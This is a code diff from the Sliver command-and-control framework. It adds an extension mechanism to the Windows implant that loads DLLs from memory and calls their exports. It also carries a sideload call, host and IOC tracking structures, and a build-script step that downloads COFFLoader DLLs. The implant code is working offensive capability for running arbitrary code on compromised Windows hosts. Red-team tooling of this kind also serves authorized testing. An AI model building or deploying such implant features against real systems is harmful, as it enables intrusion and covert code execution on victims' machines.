+		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+			Request:     con.ActiveSession.Request(ctx),
+			Args:        extArgs,
+			Data:        binData,
+			EntryPoint:  entryPoint,
+			ProcessName: processName,
+			Kill:        true,
+			IsDLL:       isDLL,
+		})
+		ctrl <- true
+		<-ctrl
+
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+
+		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
+		if outFilePath != nil {
+			outFilePath.Write([]byte(sideloadResp.GetResult()))
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}
+
+func init() {
+	commandMap = make(map[string]macro)
+}

client/console/console.go

@@ -95,6 +95,8 @@ type BindCmds func(console *SliverConsoleClient)
 // Start - Console entrypoint
 func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
 
+	assets.Setup(false, false)
+
 	con := &SliverConsoleClient{
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
@@ -199,7 +201,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveSession.Set(nil)
 				con.App.SetPrompt(con.GetPrompt())
-				con.Printf(Warn + " Active session disconnected\n")
+				con.Printf(Warn + "Active session disconnected\n")
 			}
 			con.Println()
 		}

client/constants/constants.go

@@ -115,6 +115,7 @@ const (
 	UnsetStr  = "unset"
 	SaveStr   = "save"
 	ReloadStr = "reload"
+	LoadStr   = "load"
 
 	LootStr       = "loot"
 	LootLocalStr  = "local"
@@ -174,7 +175,8 @@ const (
 	MigrateStr          = "migrate"
 	SideloadStr         = "sideload"
 	SpawnDllStr         = "spawndll"
-	LoadExtensionStr    = "load-extension"
+	ExtensionStr        = "extension"
+	LoadMacroStr        = "load-macro"
 	StageListenerStr    = "stage-listener"
 
 	WebsitesStr       = "websites"
@@ -205,6 +207,9 @@ const (
 
 	ReactionStr = "reaction"
 
+	HostsStr = "hosts"
+	IOCStr   = "ioc"
+
 	LicensesStr = "licenses"
 
 	GetPrivsStr = "getprivs"
@@ -216,5 +221,6 @@ const (
 	SliverHelpGroup      = "Sliver:"
 	SliverWinHelpGroup   = "Sliver - Windows:"
 	MultiplayerHelpGroup = "Multiplayer:"
+	MacroHelpGroup       = "Sliver - 3rd Party macros:"
 	ExtensionHelpGroup   = "Sliver - 3rd Party extensions:"
 )

go-assets.sh

@@ -21,9 +21,11 @@
 
 GO_VER="1.16.6"
 GARBLE_VER="1.16.7"
+COFF_LOADER_VER="1.0.4"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
+GO_ARCH_3="386"
 BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
 
 if ! [ -x "$(command -v curl)" ]; then
@@ -47,6 +49,7 @@ fi
 
 REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
 OUTPUT_DIR=$REPO_DIR/server/assets/fs
+CLIENT_OUTPUT_DIR=$REPO_DIR/client/assets/fs
 WORK_DIR=`mktemp -d`
 
 echo "-----------------------------------------------------------------"
@@ -130,6 +133,10 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/$GO_ARCH_1/go.zip
 rm -rf ./go
 rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
 
+# --- Client ---
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
+mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
+
 echo "-----------------------------------------------------------------"
 echo " Garble"
 echo "-----------------------------------------------------------------"
@@ -138,6 +145,12 @@ curl -L --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/mo
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1
 curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
 
+echo "-----------------------------------------------------------------"
+echo " COFF Loader"
+echo "-----------------------------------------------------------------"
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
+curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
+
 # end
 echo -e "clean up: $WORK_DIR"
 rm -rf $WORK_DIR

go.mod

@@ -24,6 +24,7 @@ require (
 	github.com/gorilla/mux v1.8.0
 	github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
+	github.com/jedib0t/go-pretty/v6 v6.2.4
 	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
 	github.com/lesnuages/go-socks5 v0.0.0-20210409090601-adbe23bd0194
 	github.com/lesnuages/go-winio v0.4.19
@@ -40,6 +41,7 @@ require (
 	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
 	golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1
 	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
+	golang.org/x/text v0.3.6
 	golang.zx2c4.com/wireguard v0.0.20200121
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
 	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect

go.sum

@@ -113,6 +113,7 @@ github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGE
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ=
 github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
 github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
 github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
 github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
@@ -261,6 +262,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
 github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
+github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
+github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
 github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
 github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
 github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
@@ -318,8 +321,9 @@ github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOA
 github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
 github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
 github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
-github.com/mattn/go-runewidth v0.0.7 h1:Ei8KR0497xHyKJPAv59M1dkC+rOZCMBJ+t3fZ+twI54=
 github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
+github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
+github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
 github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
 github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
 github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
@@ -356,6 +360,7 @@ github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
 github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
 github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
 github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pkg/profile v1.2.1/go.mod h1:hJw3o1OdXxsrSjjVksARp5W95eeEaEfptyVZyv6JUPA=
 github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
 github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
 github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
@@ -510,6 +515,7 @@ golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJ
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9 h1:SQFwaSi55rU7vdNs9Yr0Z324VNlrF+0wMqRXT4St8ck=
 golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
 golang.org/x/sys v0.0.0-20180606202747-9527bec2660b/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180816055513-1c9583448a9c/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
 golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=

implant/sliver/extension/extension.go

@@ -0,0 +1,35 @@
+package extension
+
+import "errors"
+
+var extensions map[string]Extension
+
+type Extension interface {
+	Load() error
+	Call(exportName string, arguments []byte, callback func([]byte)) error
+	GetID() string
+	GetArch() string
+}
+
+func Add(e Extension) {
+	extensions[e.GetID()] = e
+}
+
+func List() []string {
+	var extList []string
+	for id := range extensions {
+		extList = append(extList, id)
+	}
+	return extList
+}
+
+func Run(extID string, funcName string, arguments []byte, callback func([]byte)) error {
+	if ext, found := extensions[extID]; found {
+		return ext.Call(funcName, arguments, callback)
+	}
+	return errors.New("{{if .Config.Debug}} extension not found{{end}}")
+}
+
+func init() {
+	extensions = make(map[string]Extension)
+}

implant/sliver/extension/extension_windows.go

@@ -0,0 +1,114 @@
+package extension
+
+import (
+	"bytes"
+	"errors"
+	"syscall"
+	"unsafe"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"golang.zx2c4.com/wireguard/tun/wintun/memmod"
+)
+
+const (
+	Success = 0
+	Failure = 1
+)
+
+type WindowsExtension struct {
+	id          string
+	data        []byte
+	module      *memmod.Module
+	arch        string
+	init        string
+	onFinish    func([]byte)
+	serverStore bool
+}
+
+func NewWindowsExtension(data []byte, id string, arch string, init string) *WindowsExtension {
+	return &WindowsExtension{
+		id:   id,
+		data: data,
+		arch: arch,
+		init: init,
+	}
+}
+
+func (w *WindowsExtension) GetID() string {
+	return w.id
+}
+
+func (w *WindowsExtension) GetArch() string {
+	return w.arch
+}
+
+func (w *WindowsExtension) Load() error {
+	var err error
+	w.module, err = memmod.LoadLibrary(w.data)
+	if err != nil {
+		return err
+	}
+	if w.init != "" {
+		initProc, errInit := w.module.ProcAddressByName(w.init)
+		if errInit == nil {
+			// {{if .Config.Debug}}
+			log.Printf("Calling %s\n", w.init)
+			// {{end}}
+			syscall.Syscall(initProc, 0, 0, 0, 0)
+		} else {
+			return errInit
+		}
+	}
+	return nil
+}
+
+func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([]byte)) error {
+	var (
+		argumentsPtr  uintptr
+		argumentsSize uintptr
+	)
+	if w.module == nil {
+		return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
+	}
+	w.onFinish = onFinish
+	callback := syscall.NewCallback(w.extensionCallback)
+	exportPtr, err := w.module.ProcAddressByName(export)
+	if err != nil {
+		return err
+	}
+	if len(arguments) > 0 {
+		argumentsPtr = uintptr(unsafe.Pointer(&arguments[0]))
+		argumentsSize = uintptr(uint32(len(arguments)))
+	}
+	// {{if .Config.Debug}}
+	log.Printf("Calling %s, arguments addr: 0x%08x, args size: %08x\n", export, argumentsPtr, argumentsSize)
+	// {{end}}
+	// The extension API must respect the following prototype:
+	// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
+	// where goCallback = int(char *, int)
+	_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
+	if errNo != 0 {
+		return errors.New(errNo.Error())
+	}
+
+	return nil
+}
+
+// extensionCallback takes a buffer (char *) and its size (int) as parameters
+// so we can pass data back to the Go process from the loaded DLL
+func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
+	outDataSize := int(dataLen)
+	outBuff := new(bytes.Buffer)
+	for i := 0; i < outDataSize; i++ {
+		b := (*byte)(unsafe.Pointer(uintptr(i) + data))
+		outBuff.WriteByte(*b)
+	}
+	//TODO: do something with outBuff
+	if outBuff.Len() > 0 {
+		w.onFinish(outBuff.Bytes())
+	}
+	return Success
+}

implant/sliver/handlers/handlers_windows.go

@@ -28,6 +28,7 @@ import (
 	"os/exec"
 	"syscall"
 
+	"github.com/bishopfox/sliver/implant/sliver/extension"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"github.com/bishopfox/sliver/implant/sliver/registry"
@@ -91,6 +92,11 @@ var (
 		sliverpb.MsgPollIntervalReq:      pollIntervalHandler,
 		sliverpb.MsgSSHCommandReq:        runSSHCommandHandler,
 
+		// Extensions
+		sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
+		sliverpb.MsgCallExtensionReq:     callExtensionHandler,
+		sliverpb.MsgListExtensionsReq:    listExtensionsHandler,
+
 		// {{if .Config.WGc2Enabled}}
 		// Wireguard specific
 		sliverpb.MsgWGStartPortFwdReq:   wgStartPortfwdHandler,
@@ -578,3 +584,66 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
 	data, err = proto.Marshal(getPrivsResp)
 	resp(data, err)
 }
+
+// Extensions
+
+func registerExtensionHandler(data []byte, resp RPCResponse) {
+	registerReq := &sliverpb.RegisterExtensionReq{}
+
+	err := proto.Unmarshal(data, registerReq)
+	if err != nil {
+		return
+	}
+
+	ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
+	extension.Add(ext)
+	err = ext.Load()
+	registerResp := &sliverpb.RegisterExtension{
+		Response: &commonpb.Response{},
+	}
+	if err != nil {
+		registerResp.Response.Err = err.Error()
+	}
+	data, err = proto.Marshal(registerResp)
+	resp(data, err)
+}
+
+func callExtensionHandler(data []byte, resp RPCResponse) {
+	callReq := &sliverpb.CallExtensionReq{}
+
+	err := proto.Unmarshal(data, callReq)
+	if err != nil {
+		return
+	}
+
+	callResp := &sliverpb.CallExtension{
+		Response: &commonpb.Response{},
+	}
+	err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
+		callResp.Output = out
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	})
+	// Only send back synchronously if there was an error
+	if err != nil {
+		callResp.Response.Err = err.Error()
+		data, err = proto.Marshal(callResp)
+		resp(data, err)
+	}
+}
+
+func listExtensionsHandler(data []byte, resp RPCResponse) {
+	lstReq := &sliverpb.ListExtensionsReq{}
+	err := proto.Unmarshal(data, lstReq)
+	if err != nil {
+		return
+	}
+
+	exts := extension.List()
+	lstResp := &sliverpb.ListExtensions{
+		Response: &commonpb.Response{},
+		Names:    exts,
+	}
+	data, err = proto.Marshal(lstResp)
+	resp(data, err)
+}

implant/sliver/hostuuid/uuid_windows.go

@@ -21,23 +21,35 @@ package hostuuid
 */
 
 import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
 	"golang.org/x/sys/windows/registry"
 )
 
 // Stored Format: {U-U-I-D}
-var uuid_keypath = "HKEY_LOCAL_MACHINE\\SYSTEM\\HardwareConfig"
-var uuid_key = "LastConfig"
+var uuidKeyPath = "SYSTEM\\HardwareConfig"
+var uuidKey = "LastConfig"
 
 func GetUUID() string {
-	key, err := registry.OpenKey(registry.CURRENT_USER, uuid_keypath, registry.QUERY_VALUE)
-	if err != nil {
-		return ""
-	}
+	var uuidStr string
+	var err error
 
-	str, _, err := key.GetStringValue(uuid_key)
-	if err != nil {
-		return ""
+	key, err := registry.OpenKey(registry.LOCAL_MACHINE, uuidKeyPath, registry.QUERY_VALUE)
+	if err == nil {
+		uuidStr, _, err = key.GetStringValue(uuidKey)
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Failed to read reg key string value: %s", err)
+			// {{end}}
+			return ""
+		}
+		return uuidStr[1:37]
+	} else {
+		// {{if .Config.Debug}}
+		log.Printf("Failed to read reg key: %s", err)
+		// {{end}}
 	}
-
-	return str[1:37]
+	return ""
 }

protobuf/clientpb/client.pb.go

@@ -380,28 +380,29 @@ type Session struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
-	ID                uint32 `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
-	Name              string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
-	Hostname          string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
-	UUID              string `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
-	Username          string `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
-	UID               string `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
-	GID               string `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
-	OS                string `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
-	Arch              string `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
-	Transport         string `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
-	RemoteAddress     string `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
-	PID               int32  `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
-	Filename          string `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
-	LastCheckin       string `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
-	ActiveC2          string `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
-	Version           string `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
-	Evasion           bool   `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
-	IsDead            bool   `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
-	ReconnectInterval uint32 `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
-	ProxyURL          string `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
-	PollInterval      uint32 `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
-	Burned            bool   `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
+	ID                uint32   `protobuf:"varint,1,opt,name=ID,proto3" json:"ID,omitempty"`
+	Name              string   `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
+	Hostname          string   `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
+	UUID              string   `protobuf:"bytes,4,opt,name=UUID,proto3" json:"UUID,omitempty"`
+	Username          string   `protobuf:"bytes,5,opt,name=Username,proto3" json:"Username,omitempty"`
+	UID               string   `protobuf:"bytes,6,opt,name=UID,proto3" json:"UID,omitempty"`
+	GID               string   `protobuf:"bytes,7,opt,name=GID,proto3" json:"GID,omitempty"`
+	OS                string   `protobuf:"bytes,8,opt,name=OS,proto3" json:"OS,omitempty"`
+	Arch              string   `protobuf:"bytes,9,opt,name=Arch,proto3" json:"Arch,omitempty"`
+	Transport         string   `protobuf:"bytes,10,opt,name=Transport,proto3" json:"Transport,omitempty"`
+	RemoteAddress     string   `protobuf:"bytes,11,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
+	PID               int32    `protobuf:"varint,12,opt,name=PID,proto3" json:"PID,omitempty"`
+	Filename          string   `protobuf:"bytes,13,opt,name=Filename,proto3" json:"Filename,omitempty"` // Argv[0]
+	LastCheckin       string   `protobuf:"bytes,14,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
+	ActiveC2          string   `protobuf:"bytes,15,opt,name=ActiveC2,proto3" json:"ActiveC2,omitempty"`
+	Version           string   `protobuf:"bytes,16,opt,name=Version,proto3" json:"Version,omitempty"`
+	Evasion           bool     `protobuf:"varint,17,opt,name=Evasion,proto3" json:"Evasion,omitempty"`
+	IsDead            bool     `protobuf:"varint,18,opt,name=IsDead,proto3" json:"IsDead,omitempty"`
+	ReconnectInterval uint32   `protobuf:"varint,19,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
+	ProxyURL          string   `protobuf:"bytes,20,opt,name=ProxyURL,proto3" json:"ProxyURL,omitempty"`
+	PollInterval      uint32   `protobuf:"varint,21,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
+	Burned            bool     `protobuf:"varint,22,opt,name=Burned,proto3" json:"Burned,omitempty"`
+	Extensions        []string `protobuf:"bytes,23,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
 }
 
 func (x *Session) Reset() {
@@ -590,6 +591,13 @@ func (x *Session) GetBurned() bool {
 	return false
 }
 
+func (x *Session) GetExtensions() []string {
+	if x != nil {
+		return x.Extensions
+	}
+	return nil
+}
+
 type ImplantC2 struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -2622,10 +2630,11 @@ type UpdateSession struct {
 	sizeCache     protoimpl.SizeCache
 	unknownFields protoimpl.UnknownFields
 
-	SessionID         uint32 `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
-	Name              string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
-	ReconnectInterval int32  `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
-	PollInterval      int32  `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
+	SessionID         uint32   `protobuf:"varint,1,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
+	Name              string   `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
+	ReconnectInterval int32    `protobuf:"varint,3,opt,name=ReconnectInterval,proto3" json:"ReconnectInterval,omitempty"`
+	PollInterval      int32    `protobuf:"varint,4,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
+	Extensions        []string `protobuf:"bytes,5,rep,name=Extensions,proto3" json:"Extensions,omitempty"`
 }
 
 func (x *UpdateSession) Reset() {
@@ -2688,6 +2697,13 @@ func (x *UpdateSession) GetPollInterval() int32 {
 	return 0
 }
 
+func (x *UpdateSession) GetExtensions() []string {
+	if x != nil {
+		return x.Extensions
+	}
+	return nil
+}
+
 type GenerateReq struct {
 	state         protoimpl.MessageState
 	sizeCache     protoimpl.SizeCache
@@ -4461,6 +4477,243 @@ func (x *AllLoot) GetLoot() []*Loot {
 	return nil
 }
 
+// [ Hosts ] ----------------------------------------
+type IOC struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Path     string `protobuf:"bytes,1,opt,name=Path,proto3" json:"Path,omitempty"`
+	FileHash string `protobuf:"bytes,2,opt,name=FileHash,proto3" json:"FileHash,omitempty"`
+	ID       string `protobuf:"bytes,3,opt,name=ID,proto3" json:"ID,omitempty"`
+}
+
+func (x *IOC) Reset() {
+	*x = IOC{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[61]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *IOC) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*IOC) ProtoMessage() {}
+
+func (x *IOC) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[61]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use IOC.ProtoReflect.Descriptor instead.
+func (*IOC) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{61}
+}
+
+func (x *IOC) GetPath() string {
+	if x != nil {
+		return x.Path
+	}
+	return ""
+}
+
+func (x *IOC) GetFileHash() string {
+	if x != nil {
+		return x.FileHash
+	}
+	return ""
+}
+
+func (x *IOC) GetID() string {
+	if x != nil {
+		return x.ID
+	}
+	return ""
+}
+
+type ExtensionData struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Output string `protobuf:"bytes,1,opt,name=Output,proto3" json:"Output,omitempty"`
+}
+
+func (x *ExtensionData) Reset() {
+	*x = ExtensionData{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[62]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ExtensionData) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ExtensionData) ProtoMessage() {}
+
+func (x *ExtensionData) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[62]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead.
+func (*ExtensionData) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{62}
+}
+
+func (x *ExtensionData) GetOutput() string {
+	if x != nil {
+		return x.Output
+	}
+	return ""
+}
+
+type Host struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Hostname      string                    `protobuf:"bytes,1,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
+	HostUUID      string                    `protobuf:"bytes,2,opt,name=HostUUID,proto3" json:"HostUUID,omitempty"`
+	OSVersion     string                    `protobuf:"bytes,3,opt,name=OSVersion,proto3" json:"OSVersion,omitempty"`
+	IOCs          []*IOC                    `protobuf:"bytes,4,rep,name=IOCs,proto3" json:"IOCs,omitempty"`
